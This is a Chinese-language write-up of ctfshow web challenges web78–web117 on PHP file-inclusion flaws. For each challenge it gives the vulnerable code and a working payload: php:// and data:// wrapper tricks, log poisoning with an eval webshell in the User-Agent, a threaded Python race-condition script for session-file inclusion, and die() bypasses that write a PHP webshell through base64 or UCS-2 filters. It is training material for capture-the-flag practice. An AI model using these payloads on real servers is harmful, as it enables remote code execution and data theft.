4.文件包含

1. web78 php://filter伪协议

 if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

利用 php://filter 伪协议拿取即可

?file=php://filter/convert.base64-encode/resource=flag.php

2. web79 data伪协议

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这里是无视大小写的,就是说你用大小写是绕过不了的

2.1. data伪协议

Note

data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行。
当php被过滤时,就可以适当选择data协议
需满足allow_url_fopenallow_url_include同时开启才能使用

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
Warning

注意这里的BASE64编码 最好不要用+结尾。(可以多加几个空格使得去掉编码后的加号)

3. web80 日志包含

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了 php data
这里采用日志包含
nginx 的默认日志在 /var/log/nginx/access.log

UA:<?php eval($_GET['cmd']);?>
?file=/../../../../../var/log/nginx/access.log&cmd=system('tac fl0g.php');

4. web81 日志包含

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤 php data :
日志包含即可

UA: <?php eval($_GET['a']);?>
?file=../../../../../var/log/nginx/access.log&a=system('tac fl0g.php');

5. web82-86 条件竞争 PHPSESSION包含

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

题目把 . 也给过滤了。使得我们无法进行目录穿越实现日志包含了
这里考点是 seesion包含 其中涉及到条件竞争
参考文章 https://www.freebuf.com/vuls/202819.html
这里直接利用羽师傅的脚本梭哈

# 原理 https://www.freebuf.com/vuls/202819.html
import requests
import threading
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session=requests.session()
sess='yu22x'
url1="http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/"
url2='http://48faee2d-f20d-48ad-9d79-8e73e09f6958.challenge.ctf.show/?file=/tmp/sess_'+sess
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
    '1':'system("cat f*");'
}
file={
    'file':'abc'
}
cookies={
    'PHPSESSID': sess
}
def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies,verify=False)
def read():
    while True:
        r = session.post(url2,data=data2,verify=False)
        if 'ctfshow{' in r.text:
            print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
    t.start()

6. web87 exit(); die();绕过

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

这里利用的函数是 file_put_contents 这个函数允许我们将数据写入指定的文件
格式是 file_put_contents(文件名, 数据)
但是这里给了一个拼接字符串 <?php die('大佬别秀了');?>,这个会导致我们传入的数据被 die 掉,使得直接退出

关键就在于如何绕过 die();

6.1. base64编码绕过

首先我们需要写入文件
利用 php://filter/write 指定以 base64-decode 写入文件 a.php:输入的内容就会被base64解码

php://filter/write=convert.base64-decode/resource=a.php
两次url编码后:
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%31%25%32%45%25%37%30%25%36%38%25%37%30
Warning

由于这里有过滤php等字符,所以需要url完整编码,即所有字符都要进行编码

Note

base64编码绕过 die();
<?php die('大佬别秀了');?> 是拼接在我们的传入 $content 参数前面的,而我们指定了传入base64编码的参数。所以这里 <?php die('大佬别秀了');?> 也会被base64编码掉,这样就可以绕过die()

注意: base64是以4个字符为一组的。所以必须为4的倍数, 对于 <?php die('大佬别秀了');?> 而言,里面可以被识别的只有 phpdie 6个数,所以我们需要为其添加两个字符保证其是4的倍数

<?php eval($_POST['a']);?> 进行base64编码

PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

然后前面加上两个a 使得最后传入的base64数据参数满足4的倍数
payload

aaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

a.php 实际接受到的数据
base64decode(phpdieaaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=)
最后的完整payload

?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%31%25%32%45%25%37%30%25%36%38%25%37%30
content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

7. web88 data伪协议

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 
Warning

这里需要不断进行构造,直到最后的payload没有被过滤的内容
base64encode <?php system('tac fl0g.php'); ?>

?file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oJ3RhYyBmbDBnLnBocCcpOyAgPz4g

8. web116 misc+简单的文件包含

打开是个视频 Pasted image 20240324195625
下载下来看看 用binwalk 分离出其中的东西 Pasted image 20240324201655
271872B
过滤很简单

?file=flag.php

然后下载视频打开获取flag

9. web117 更多编码绕过die();

<?php 
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

这里过滤了很多种协议和编码,如我们常用的 base64rot13 等等
这里我们可以用其他的编码进行绕过 更多编码看这里
这里使用 UCS-2LE -> UCS-2BE 进行绕过
UCS-2LE -> UCS-2BE 就是把小端编码转换成大端编码。 所以会交换相邻两个字符的位置,这样就可以绕过 die()
注意:因为是交换相邻字符串。这里的一定要是偶数位,不然会报错(奇数最后一个字符会被忽略)

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[Ta']';)>? 

其中 contents 的内容可以通过 iconv 命令生成

echo -n "<?php eval(\$_POST['a']);?>" | iconv -f UCS-2LE -t UCS-2BE
输出: ?<hp pvela$(P_SO[Ta']';)>?